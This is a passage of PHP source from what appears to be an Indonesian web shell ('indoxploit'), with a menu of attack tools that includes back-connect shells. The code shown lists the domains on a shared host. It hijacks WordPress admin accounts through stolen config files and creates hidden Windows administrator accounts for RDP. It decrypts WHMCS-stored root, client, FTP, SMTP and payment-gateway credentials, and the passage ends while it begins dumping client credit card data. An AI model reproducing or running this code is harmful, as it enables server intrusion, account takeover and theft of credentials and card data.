  2880. echo "<li> <a href='?dir=$dir&pake=wpes'>Auto Edit User WP</a> </li>";
  2881. echo "<li> <a href='?dir=$dir&pake=dos'>Domain On User</a> </li><br>";
  2882. echo "<li> <a href='?dir=$dir&pake=smtp'>VHosts SMTP Grabber</a> </li>";
  2883. echo "<li> <a href='?dir=$dir&pake=csrf'>CSRF ONLINE</a> </li>";
  2884. echo "<li> <a href='?dir=$dir&pake=scdc'>Script Decoder</a> </li>";
  2885. echo "<li> <a href='?dir=$dir&pake=rdp'>RDP-Creator</a> </li>";
  2886. echo "<li> <a href='?dir=$dir&pake=manjat'>WHM-User Checker</a> </li>";
  2887. echo "</ul>";
  2888. echo "</center>";
  2889.  
  2890.     $all = array();
  2891.     // domain finder.
  2892.     $d0mains = file('/etc/named.conf');
  2893.     $domains = scandir("/var/named");
  2894.  
  2895.     if($domains or $d0mains){
  2896.       $count = 0;
  2897.       if($domains){
  2898.         echo "<center><h1>Count Domains on user</h1></center><br><br>";
  2899.         $cur = array();
  2900.         foreach($domains as $domain){
  2901.           if(strpos($domain, '.db')){
  2902.             $dom = str_replace('.db', '', $domain);
  2903.             $own = posix_getpwuid(fileowner("/etc/valiases/$dom"));
  2904.             $user = $own['name'];
  2905.             $all[$user][] = $dom;
  2906.             //echo "$user: $dom<br/>";
  2907.           }
  2908.         }
  2909.         echo "";
  2910.       }
  2911.       elseif($d0mains){
  2912.  
  2913.         $mck = array();
  2914.         foreach($d0mains as $domain){
  2915.           preg_match_all('#zone "(.*)"#',$domain,$dom);
  2916.           flush();
  2917.           if(strlen(trim($domain[1][0])) >2){
  2918.             $mck[] = $dom[1][0];
  2919.           }
  2920.         }
  2921.        
  2922.         $mck = array_unique($mck);
  2923.         foreach($mck as $dom){
  2924.           $own = posix_getpwuid(fileowner("/etc/valiases/$dom"));
  2925.           $user = $own['name'];
  2926.           $all[$user][] = $dom;
  2927.           //echo "$user: $dom<br/>";
  2928.         }
  2929.         echo "";
  2930.       }
  2931.     }
  2932. foreach($all as $user => $domain){
  2933.   echo "<center>User <font color='red'>$user</font> has <font color='red'>".count($domain)."</font> Domains below :<br></center>";
  2934.   echo "<center>---------------<br>";
  2935.   foreach($domain as $v){
  2936.     echo "<center><a href='http://$v/' target='_blank'>http://$v<a><br></center>";
  2937.     }
  2938.   echo "<center>---------------";
  2939.   echo "<br><br>";
  2940.         }
  2941.  
  2942. }
  2943. elseif($_GET['pake'] == 'wpes') {
  2944. echo "<center>";
  2945. echo "<ul>";
  2946. echo "<li> <a href='?dir=$dir&pake=bc'>Simple Back-Connect</a> </li>";
  2947. echo "<li> <a href='?dir=$dir&pake=pbc'>Perl Back-Connect</a> </li>";
  2948. echo "<li> <a href='?dir=$dir&pake=ptbc'>Python Back-Connect</a> </li>";
  2949. echo "<li> <a href='?dir=$dir&pake=portsc'>Port Scanner</a> </li>";
  2950. echo "<li> <a href='?dir=$dir&pake=hash'>Hash Identification</a> </li>";
  2951. echo "<li> <a href='?dir=$dir&pake=whmcs'>WHMCS Decoder</a> </li>";
  2952. echo "<li> <a href='?dir=$dir&pake=tetangga'>Reverse Domain</a> </li>";
  2953. echo "<li> <a href='?dir=$dir&pake=wpes'>Auto Edit User WP</a> </li>";
  2954. echo "<li> <a href='?dir=$dir&pake=dos'>Domain On User</a> </li><br>";
  2955. echo "<li> <a href='?dir=$dir&pake=smtp'>VHosts SMTP Grabber</a> </li>";
  2956. echo "<li> <a href='?dir=$dir&pake=csrf'>CSRF ONLINE</a> </li>";
  2957. echo "<li> <a href='?dir=$dir&pake=scdc'>Script Decoder</a> </li>";
  2958. echo "<li> <a href='?dir=$dir&pake=rdp'>RDP-Creator</a> </li>";
  2959. echo "<li> <a href='?dir=$dir&pake=manjat'>WHM-User Checker</a> </li>";
  2960. echo "</ul>";
  2961. echo "</center>";
  2962.  
  2963.     if($_POST['auto_deface_wp']) {
  2964.         function anucurl($sites) {
  2965.             $ch = curl_init($sites);
  2966.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2967.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2968.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2969.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  2970.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2971.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2972.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2973.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2974.                   curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  2975.             $data = curl_exec($ch);
  2976.                   curl_close($ch);
  2977.             return $data;
  2978.         }
  2979.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  2980.             $post = array(
  2981.                    "log" => "$userr",
  2982.                    "pwd" => "$pass",
  2983.                    "rememberme" => "forever",
  2984.                    "wp-submit" => "$wp_submit",
  2985.                    "redirect_to" => "$web",
  2986.                    "testcookie" => "1",
  2987.                    );
  2988.             $ch = curl_init($cek);
  2989.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2990.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2991.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2992.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2993.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2994.                   curl_setopt($ch, CURLOPT_POST, 1);
  2995.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2996.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2997.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2998.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2999.             $data = curl_exec($ch);
  3000.                   curl_close($ch);
  3001.             return $data;
  3002.         }
  3003.         $link = explode("\r\n", $_POST['link']);
  3004.         $script = htmlspecialchars($_POST['script']);
  3005.         $user = "bahari";
  3006.         $pass = "bahari";
  3007.         $passx = md5($pass);
  3008.         foreach($link as $dir_config) {
  3009.             $config = anucurl($dir_config);
  3010.             $dbhost = ambilkata($config,"DB_HOST', '","'");
  3011.             $dbuser = ambilkata($config,"DB_USER', '","'");
  3012.             $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  3013.             $dbname = ambilkata($config,"DB_NAME', '","'");
  3014.             $dbprefix = ambilkata($config,"table_prefix  = '","'");
  3015.             $prefix = $dbprefix."users";
  3016.             $option = $dbprefix."options";
  3017.             $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3018.             $db = mysql_select_db($dbname);
  3019.             $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  3020.             $result = mysql_fetch_array($q);
  3021.             $id = $result[ID];
  3022.             $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  3023.             $result2 = mysql_fetch_array($q2);
  3024.             $target = $result2[option_value];
  3025.             if($target == '') {                
  3026.                 echo "Error, Cant edit the user :(</font><br>";
  3027.             } else {
  3028.                 echo "<font color='lime'>Done</font> >> <a href='$target/wp-login.php' target='_blank'> $target <a><br>
  3029.                       <font color='lime'>User</font>  : bahari<br>
  3030.                       <font color='lime'>Password</font>  : bahari<br>";
  3031.             }
  3032.             $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  3033.             if(!$conn OR !$db OR !$update) {
  3034.                 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  3035.                 mysql_close($conn);
  3036.             } else {
  3037.             }
  3038.         }
  3039.     } else {
  3040.         echo "<center><h1>WordPress Auto Edit User</h1>
  3041.         <form method='post'>
  3042.         Link Config: <br>
  3043.         <textarea name='link' placeholder='http://target.com/btm_conf/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  3044.         <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar'>
  3045.         </form></center>";
  3046.         }
  3047. }
  3048. elseif($_GET['pake'] == 'rdp') {
  3049. echo "<center>";
  3050. echo "<ul>";
  3051. echo "<li> <a href='?dir=$dir&pake=bc'>Simple Back-Connect</a> </li>";
  3052. echo "<li> <a href='?dir=$dir&pake=pbc'>Perl Back-Connect</a> </li>";
  3053. echo "<li> <a href='?dir=$dir&pake=ptbc'>Python Back-Connect</a> </li>";
  3054. echo "<li> <a href='?dir=$dir&pake=portsc'>Port Scanner</a> </li>";
  3055. echo "<li> <a href='?dir=$dir&pake=hash'>Hash Identification</a> </li>";
  3056. echo "<li> <a href='?dir=$dir&pake=whmcs'>WHMCS Decoder</a> </li>";
  3057. echo "<li> <a href='?dir=$dir&pake=tetangga'>Reverse Domain</a> </li>";
  3058. echo "<li> <a href='?dir=$dir&pake=wpes'>Auto Edit User WP</a> </li>";
  3059. echo "<li> <a href='?dir=$dir&pake=dos'>Domain On User</a> </li><br>";
  3060. echo "<li> <a href='?dir=$dir&pake=smtp'>VHosts SMTP Grabber</a> </li>";
  3061. echo "<li> <a href='?dir=$dir&pake=csrf'>CSRF ONLINE</a> </li>";
  3062. echo "<li> <a href='?dir=$dir&pake=scdc'>Script Decoder</a> </li>";
  3063. echo "<li> <a href='?dir=$dir&pake=rdp'>RDP-Creator</a> </li>";
  3064. echo "<li> <a href='?dir=$dir&pake=manjat'>WHM-User Checker</a> </li>";
  3065. echo "</ul>";
  3066. echo "</center>";
  3067.     if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
  3068.         if($_POST['create']) {
  3069.             $user = htmlspecialchars($_POST['user']);
  3070.             $pass = htmlspecialchars($_POST['pass']);
  3071.             if(preg_match("/$user/", exe("net user"))) {
  3072.                 echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>";
  3073.             } else {
  3074.                 $add_user   = exe("net user $user $pass /add");
  3075.                 $add_groups1 = exe("net localgroup Administrators $user /add");
  3076.                 $add_groups2 = exe("net localgroup Administrator $user /add");
  3077.                 $add_groups3 = exe("net localgroup Administrateur $user /add");
  3078.                 echo "<center>[ RDP ACCOUNT INFO ]<br>
  3079.                 ------------------------------<br>
  3080.                 IP: <font color=lime>".$ip."</font><br>
  3081.                 Username: <font color=lime>$user</font><br>
  3082.                 Password: <font color=lime>$pass</font><br>
  3083.                 ------------------------------<br><br>
  3084.                 [ STATUS ]<br>
  3085.                 ------------------------------<br>
  3086.                 </center>";
  3087.                 if($add_user) {
  3088.                     echo "[add user] -> <font color='lime'>Berhasil</font><br>";
  3089.                 } else {
  3090.                     echo "[add user] -> <font color='red'>Gagal</font><br>";
  3091.                 }
  3092.                 if($add_groups1) {
  3093.                     echo "[add localgroup Administrators] -> <font color='lime'>Berhasil</font><br>";
  3094.                 } elseif($add_groups2) {
  3095.                     echo "[add localgroup Administrator] -> <font color='lime'>Berhasil</font><br>";
  3096.                 } elseif($add_groups3) {
  3097.                     echo "[add localgroup Administrateur] -> <font color='lime'>Berhasil</font><br>";
  3098.                 } else {
  3099.                     echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
  3100.                 }
  3101.                 echo "------------------------------<br>";
  3102.             }
  3103.         } elseif($_POST['s_opsi']) {
  3104.             $user = htmlspecialchars($_POST['r_user']);
  3105.             if($_POST['opsi'] == '1') {
  3106.                 $cek = exe("net user $user");
  3107.                 echo "Checking username <font color=lime>$user</font> ....... ";
  3108.                 if(preg_match("/$user/", $cek)) {
  3109.                     echo "[ <font color=lime>Sudah ada</font> ]<br>
  3110.                     ------------------------------<br><br>
  3111.                     <pre>$cek</pre>";
  3112.                 } else {
  3113.                     echo "[ <font color=red>belum ada</font> ]";
  3114.                 }
  3115.             } elseif($_POST['opsi'] == '2') {
  3116.                 $cek = exe("net user $user indoxploit");
  3117.                 if(preg_match("/$user/", exe("net user"))) {
  3118.                     echo "[change password: <font color=lime>indoxploit</font>] -> ";
  3119.                     if($cek) {
  3120.                         echo "<font color=lime>Berhasil</font>";
  3121.                     } else {
  3122.                         echo "<font color=red>Gagal</font>";
  3123.                     }
  3124.                 } else {
  3125.                     echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
  3126.                 }
  3127.             } elseif($_POST['opsi'] == '3') {
  3128.                 $cek = exe("net user $user /DELETE");
  3129.                 if(preg_match("/$user/", exe("net user"))) {
  3130.                     echo "[remove user: <font color=lime>$user</font>] -> ";
  3131.                     if($cek) {
  3132.                         echo "<font color=lime>Berhasil</font>";
  3133.                     } else {
  3134.                         echo "<font color=red>Gagal</font>";
  3135.                     }
  3136.                 } else {
  3137.                     echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
  3138.                 }
  3139.             } else {
  3140.                 //
  3141.             }
  3142.         } else {
  3143.             echo "<center>-- Create RDP --<br>
  3144.             <form method='post'>
  3145.             <input type='text' name='user' placeholder='username' value='denita' required>
  3146.             <input type='text' name='pass' placeholder='password' value='denita' required>
  3147.             <input type='submit' name='create' value='>>'>
  3148.             </form>
  3149.             -- Option --<br>
  3150.             <form method='post'>
  3151.             <input type='text' name='r_user' placeholder='username' required>
  3152.             <select name='opsi'>
  3153.             <option value='1'>Cek Username</option>
  3154.             <option value='2'>Ubah Password</option>
  3155.             <option value='3'>Hapus Username</option>
  3156.             </select>
  3157.             <input type='submit' name='s_opsi' value='>>'>
  3158.             </form></center>
  3159.             ";
  3160.         }
  3161.     } else {
  3162.         echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
  3163.     }
  3164.  
  3165. }
  3166. elseif($_GET['pake'] == 'tetangga') {
  3167. echo "<center>";
  3168. echo "<ul>";
  3169. echo "<li> <a href='?dir=$dir&pake=bc'>Simple Back-Connect</a> </li>";
  3170. echo "<li> <a href='?dir=$dir&pake=pbc'>Perl Back-Connect</a> </li>";
  3171. echo "<li> <a href='?dir=$dir&pake=ptbc'>Python Back-Connect</a> </li>";
  3172. echo "<li> <a href='?dir=$dir&pake=portsc'>Port Scanner</a> </li>";
  3173. echo "<li> <a href='?dir=$dir&pake=hash'>Hash Identification</a> </li>";
  3174. echo "<li> <a href='?dir=$dir&pake=whmcs'>WHMCS Decoder</a> </li>";
  3175. echo "<li> <a href='?dir=$dir&pake=tetangga'>Reverse Domain</a> </li>";
  3176. echo "<li> <a href='?dir=$dir&pake=wpes'>Auto Edit User WP</a> </li>";
  3177. echo "<li> <a href='?dir=$dir&pake=dos'>Domain On User</a> </li><br>";
  3178. echo "<li> <a href='?dir=$dir&pake=smtp'>VHosts SMTP Grabber</a> </li>";
  3179. echo "<li> <a href='?dir=$dir&pake=csrf'>CSRF ONLINE</a> </li>";
  3180. echo "<li> <a href='?dir=$dir&pake=scdc'>Script Decoder</a> </li>";
  3181. echo "<li> <a href='?dir=$dir&pake=rdp'>RDP-Creator</a> </li>";
  3182. echo "<li> <a href='?dir=$dir&pake=manjat'>WHM-User Checker</a> </li>";
  3183. echo "</ul>";
  3184. echo "</center>";
  3185.  
  3186.          echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Reverse Domain ip Lookup</span></center>
  3187.         ";
  3188.         echo "<div id=result>";
  3189.         echo "<center><br><form><input type='text' size='60' placeholder='watch8x.com' name='setan' /><input type='hidden' name='pake' value='tetangga'> &nbsp;<input type='submit' value='&nbsp;&check;&nbsp;'></form></center>";
  3190.         if(isset($_GET["setan"]))
  3191.         {
  3192.         $site = $_GET["setan"];
  3193.         $setan = "http://domains.yougetsignal.com/domains.php";
  3194.  
  3195.         //Curl Function
  3196.         $ch = curl_init($setan);
  3197.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  3198.         curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$site&ket=");
  3199.         curl_setopt($ch, CURLOPT_HEADER, 0);
  3200.         curl_setopt($ch, CURLOPT_POST, 1);
  3201.         $resp = curl_exec($ch);
  3202.         $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  3203.         $array = explode(",,", $resp);
  3204.         unset($array[0]);
  3205.         echo "<table style='margin: 0 auto'>";
  3206.         foreach($array as $lnk)
  3207.         {
  3208.             print "<tr><td><a  style=\"color:#0f0;font-weight:bold;\" href='$lnk' target=_blank>$lnk</a></td></tr>";
  3209.         }
  3210.         echo "</table>";
  3211.         curl_close($ch);
  3212.         }
  3213. }
  3214. elseif($_GET['pake'] == 'whmcs') {
  3215. echo "<center>";
  3216. echo "<ul>";
  3217. echo "<li> <a href='?dir=$dir&pake=bc'>Simple Back-Connect</a> </li>";
  3218. echo "<li> <a href='?dir=$dir&pake=pbc'>Perl Back-Connect</a> </li>";
  3219. echo "<li> <a href='?dir=$dir&pake=ptbc'>Python Back-Connect</a> </li>";
  3220. echo "<li> <a href='?dir=$dir&pake=portsc'>Port Scanner</a> </li>";
  3221. echo "<li> <a href='?dir=$dir&pake=hash'>Hash Identification</a> </li>";
  3222. echo "<li> <a href='?dir=$dir&pake=whmcs'>WHMCS Decoder</a> </li>";
  3223. echo "<li> <a href='?dir=$dir&pake=tetangga'>Reverse Domain</a> </li>";
  3224. echo "<li> <a href='?dir=$dir&pake=wpes'>Auto Edit User WP</a> </li>";
  3225. echo "<li> <a href='?dir=$dir&pake=dos'>Domain On User</a> </li><br>";
  3226. echo "<li> <a href='?dir=$dir&pake=smtp'>VHosts SMTP Grabber</a> </li>";
  3227. echo "<li> <a href='?dir=$dir&pake=csrf'>CSRF ONLINE</a> </li>";
  3228. echo "<li> <a href='?dir=$dir&pake=scdc'>Script Decoder</a> </li>";
  3229. echo "<li> <a href='?dir=$dir&pake=rdp'>RDP-Creator</a> </li>";
  3230. echo "<li> <a href='?dir=$dir&pake=manjat'>WHM-User Checker</a> </li>";
  3231. echo "</ul>";
  3232. echo "</center>";
  3233.  
  3234.     echo"<p><br/><body>
  3235.     <center><br/><br/><nobr><b><span>WHMCS DECODER</span></b></nobr><br/><br/>
  3236.     <p><form method='post'>
  3237.     <table border=1>
  3238.     <tr><td>db_host </td><td><input type='text' style='color:#FF0000;background-color:transparent' size='60' name='anu1' value='localhost'></td></tr>
  3239.     <tr><td>db_username </td><td><input type='text' style='color:#FF0000;background-color:transparent' size='60' name='anu2'></td></tr>
  3240.     <tr><td>db_password</td><td><input type='text' style='color:#FF0000;background-color:transparent' size='60' name='anu3'></td></tr>
  3241.     <tr><td>db_name</td><td><input type='text' style='color:#FF0000;background-color:transparent' size='60' name='anu4'></td></tr>
  3242.     <tr><td>cc_encryption_hash</td><td><input style='color:#FF0000;background-color:transparent' type='text' size='60' name='anu5'></td></tr>
  3243.     <tr><td align='center' colspan='2'><input class=submit type='submit' style='color:#FF0000;background-color:transparent' value=' HAJAR ' name='plapon'></td></tr>
  3244.      
  3245.     </table>
  3246.     <br></form></center>";
  3247.  
  3248.  
  3249.         $perawan = $_POST['anu1'];
  3250.         $kimcil = $_POST['anu2'];
  3251.         $janda = $_POST['anu3'];
  3252.         $hotel = $_POST['anu4'];
  3253.         $kondom = $_POST['anu5'];
  3254.         @mysql_connect($perawan, $kimcil, $janda);
  3255.         @mysql_select_db($hotel);
  3256.         $cc_encryption_hash = $kondom;
  3257.         function dec($string, $cc_encryption_hash) {
  3258.             $key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
  3259.             $hash_key = _hash($key);
  3260.             $hash_length = strlen($hash_key);
  3261.             $string = base64_decode($string);
  3262.             $tmp_iv = substr($string, 0, $hash_length);
  3263.             $string = substr($string, $hash_length, strlen($string) - $hash_length);
  3264.             $iv = $out = '';
  3265.             $c = 0;
  3266.             while ($c < $hash_length) {
  3267.                 $iv.= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
  3268.                 ++$c;
  3269.             }
  3270.             $key = $iv;
  3271.             $c = 0;
  3272.             while ($c < strlen($string)) {
  3273.                 if (($c != 0 AND $c % $hash_length == 0)) {
  3274.                     $key = _hash($key . substr($out, $c - $hash_length, $hash_length));
  3275.                 }
  3276.                 $out.= chr(ord($key[$c % $hash_length]) ^ ord($string[$c]));
  3277.                 ++$c;
  3278.             }
  3279.             return $out;
  3280.         }
  3281.         function _hash($string) {
  3282.             $hash = (function_exists('sha1')) ? sha1($string) : md5($string);
  3283.             $out = '';
  3284.             $c = 0;
  3285.             while ($c < strlen($hash)) {
  3286.                 $out.= chr(hexdec($hash[$c] . $hash[$c + 1]));
  3287.                 $c+= 2;
  3288.             }
  3289.             return $out;
  3290.         }
  3291.         ########  GO TO HELL ########
  3292.         ##### :D ########### :D #####
  3293.         if (isset($_POST['plapon'])) {
  3294.             $query = mysql_query("SELECT *FROM tblservers");
  3295.             echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  3296.     <tr><th colspan='7'> <span> HOST ROOT </span> </th></tr>
  3297.     <tr>
  3298.     <th class='th_home' align='center'><b>TYPE</b></th>
  3299.     <th class='th_home' align='center'><b>ACTIVE</b></th>
  3300.     <th class='th_home' align='center'><b>HOSTNAME</b></th>
  3301.     <th class='th_home' align='center'><b>IP ADDRESS</b></th>
  3302.     <th class='th_home' align='center'><b>USERNAME</b></th>
  3303.     <th class='th_home' align='center'><b>PASSWORD</b></th>
  3304.     <th class='th_home' align='center'><b>ACCESS HASH</b></th></tr>";
  3305.             if (!is_array(mysql_fetch_array($query))) {
  3306.                 echo "<tr><td colspan='8' align='center'>Nothing Found !</td></tr>";
  3307.             }
  3308.             while ($v = mysql_fetch_array($query)) {
  3309.                 echo "<tr>
  3310.     <td class='td_home' align='center'>{$v['type']}</td>
  3311.     <td class='td_home' align='center'>{$v['active']}</td>
  3312.     <td class='td_home' align='center'>{$v['hostname']}</td>
  3313.     <td class='td_home' align='center'>{$v['ipaddress']}</td>
  3314.     <td class='td_home' align='center'>{$v['username']}</td>
  3315.     <td class='td_home' align='center'>" . dec($v['password'], $cc_encryption_hash) . "</td>
  3316.     <td class='td_home' align='center'>{$v['accesshash']}</td>
  3317.     </tr>";
  3318.             }
  3319.             echo "</table>";
  3320.             $query = mysql_query("SELECT * FROM tblhosting where username = 'root' or username = 'vmuserxx' or username = 'vmuser' or username = 'admin' or username = 'Admin' or username = 'administrator' or username = 'Administrator' order by domainstatus");
  3321.             echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  3322.     <tr><th colspan='6'><span>CLIENTS ROOT</span> </th></tr>
  3323.      
  3324.     <tr>
  3325.     <th class='th_home' align='center'><b> DOMAIN</b></th>
  3326.     <th class='th_home' align='center'><b> STATUS</b></th>
  3327.     <th class='th_home' align='center'><b> USERNAME</b></th>
  3328.     <th class='th_home' align='center'><b> PASSWORD</b></th>
  3329.     <th class='th_home' align='center'><b> DEDICATED IP</b></th>
  3330.     <th class='th_home' align='center'><b> ASSIGNED IP</b></th></tr>";
  3331.             if (!is_array(mysql_fetch_array($query))) {
  3332.                 echo "<tr><td colspan='6' align='center'>Nothing Found ! :(</td></tr>";
  3333.             }
  3334.             while ($v = mysql_fetch_array($query)) {
  3335.                 echo "<tr>
  3336.     <td class='td_home' align='center'> {$v['domain']}</td>
  3337.     <td class='td_home' align='center'> {$v['domainstatus']}</td>
  3338.     <td class='td_home' align='center'> {$v['username']}</td>
  3339.     <td class='td_home' align='center'> " . dec($v['password'], $cc_encryption_hash) . "</td>
  3340.     <td class='td_home' align='center'> {$v['dedicatedip']}</td>
  3341.     <td class='td_home' align='center'> {$v['assignedips']}</td></tr>";
  3342.             }
  3343.             echo "</table>";
  3344.             $query = mysql_query("SELECT *FROM tblregistrars");
  3345.             echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  3346.     <tr><th colspan='3'><nobr><span> DOMAIN REGISTRAR </span></nobr></th></tr>
  3347.     <tr>
  3348.     <th class='th_home' align='center'><b>REGISTRAR</b></th>
  3349.     <th class='th_home' align='center'><b>SETTING</b></th>
  3350.     <th class='th_home' align='center'><b>VALUE</b></th></tr>";
  3351.             if (!is_array(mysql_fetch_array($query))) {
  3352.                 echo "<tr><td colspan='3' align='center'>Nothing Found !</td></tr>";
  3353.             }
  3354.             while ($v = mysql_fetch_array($query)) {
  3355.                 $value = (!dec($v['value'], $cc_encryption_hash)) ? "0" : dec($v['value'], $cc_encryption_hash);
  3356.                 echo "<tr>
  3357.     <td class='td_home' align='center'>{$v['registrar']}</td>
  3358.     <td class='td_home' align='center'>{$v['setting']}</td>
  3359.     <td class='td_home' align='center'>$value</td></tr>";
  3360.             }
  3361.             echo "</table>";
  3362.             $query = mysql_query("SELECT * FROM tblconfiguration where 1");
  3363.             echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  3364.     <tr><th colspan='4'> <span> FTP BACKUP </span> </th></tr>
  3365.      
  3366.     <tr>
  3367.     <th class='th_home' align='center'><b>FTP HOSTNAME</b></th>
  3368.     <th class='th_home' align='center'><b>FTP USERNAME</b></th>
  3369.     <th class='th_home' align='center'><b>FTP PASSWORD</b></th>
  3370.     <th class='th_home' align='center'><b>DESTINATION</b></th></tr>";
  3371.             $ftpb = array('FTPBackupHostname', 'FTPBackupUsername', 'FTPBackupPassword', 'FTPBackupDestination');
  3372.             if (!is_array(mysql_fetch_array($query))) {
  3373.                 echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
  3374.             }
  3375.             while ($row = mysql_fetch_array($query)) {
  3376.                 if ($row[setting] == $ftpb[0]) {
  3377.                     echo "<tr><td class='td_home'>{$row[value]}</td>";
  3378.                     $ftpb[0] = xxx;
  3379.                 } elseif ($row[setting] == $ftpb[1]) {
  3380.                     echo "<td class='td_home'>{$row[value]}</td>";
  3381.                     $ftpb[1] = xxx;
  3382.                 } elseif ($row[setting] == $ftpb[2]) {
  3383.                     echo "<td class='td_home'>{$row[value]}</td>";
  3384.                     $ftpb[2] = xxx;
  3385.                 } elseif ($row[setting] == $ftpb[3]) {
  3386.                     echo "<td class='td_home'>{$row[value]}</td>";
  3387.                     $ftpb[3] = xxx;
  3388.                 }
  3389.             }
  3390.             echo "</table>";
  3391.             $query = mysql_query("SELECT * FROM tblconfiguration where 1");
  3392.             echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  3393.     <tr><th colspan='4'><span> SMTP SERVER </span> </th></tr>
  3394.     <tr>
  3395.     <th class='th_home' align='center'><b>SMTP HOST</b></th>
  3396.     <th class='th_home' align='center'><b>SMTP USER</b></th>
  3397.     <th class='th_home' align='center'><b>SMTP PASS</b></th>
  3398.     <th class='th_home' align='center'><b>SMTP PORT</b></th></tr>";
  3399.             $smtp = array('SMTPHost', 'SMTPUsername', 'SMTPPassword', 'SMTPPort');
  3400.             if (!is_array(mysql_fetch_array($query))) {
  3401.                 echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
  3402.             }
  3403.             while ($row = mysql_fetch_array($query)) {
  3404.                 if ($row[setting] == $smtp[0]) {
  3405.                     echo "<tr><td class='td_home'>{$row[value]}</td>";
  3406.                     $smtp[0] = xxx;
  3407.                 } elseif ($row[setting] == $smtp[1]) {
  3408.                     echo "<td class='td_home'>{$row[value]}</td>";
  3409.                     $smtp[1] = xxx;
  3410.                 } elseif ($row[setting] == $smtp[2]) {
  3411.                     echo "<td class='td_home'>{$row[value]}</td>";
  3412.                     $smtp[2] = xxx;
  3413.                 } elseif ($row[setting] == $smtp[3]) {
  3414.                     echo "<td class='td_home'>{$row[value]}</td>";
  3415.                     $smtp[3] = xxx;
  3416.                 }
  3417.             }
  3418.             echo "</table>";
  3419.             $query = mysql_query("SELECT *FROM tblpaymentgateways");
  3420.             echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  3421.     <tr><th colspan='4'><nobr><span> PAYMENTS GATEWAY </span></nobr></th></tr>
  3422.      
  3423.     <tr>
  3424.     <th class='th_home' align='center'><b>GATEWAY</b></th>
  3425.     <th class='th_home' align='center'><b>SETTING</b></th>
  3426.     <th class='th_home' align='center'><b>VALUE</b></th>
  3427.     <th class='th_home' align='center'><b>ORDER</b></th></tr>";
  3428.             if (!is_array(mysql_fetch_array($query))) {
  3429.                 echo "<tr><td colspan='4' align='center'>Nothing Found !</td></tr>";
  3430.             }
  3431.             while ($v = mysql_fetch_array($query)) {
  3432.                 echo "<tr>
  3433.     <td class='td_home' align='center'>{$v['gateway']}</td>
  3434.     <td class='td_home' align='center'>{$v['setting']}</td>
  3435.     <td class='td_home' align='center'>{$v['value']}</td>
  3436.     <td class='td_home' align='center'>{$v['order']}</td> </tr>";
  3437.             }
  3438.             echo "</table>";
  3439.             $query = mysql_query("SELECT id FROM tblclients WHERE issuenumber != '' ORDER BY id DESC");
  3440.             echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  3441.     <tr><th colspan='10'><nobr><span> CLIENTS CREDIT CARD </span></nobr></th></tr>
  3442.     <tr>
  3443.     <th class='th_home' align='center'><b>CardType</b></th>
  3444.     <th class='th_home' align='center'><b>CardNumb</b></th>
  3445.     <th class='th_home' align='center'><b>Expdate</b></th>
  3446.     <th class='th_home' align='center'><b>IssueNumber</b></th>
  3447.     <th class='th_home' align='center'><b>FirstName</b></th>
  3448.     <th class='th_home' align='center'><b>LastName</b></th>
  3449.     <th class='th_home' align='center'><b>Address</b></th>
  3450.     <th class='th_home' align='center'><b>Country</b></th>
  3451.     <th class='th_home' align='center'><b>Phone</b></th>
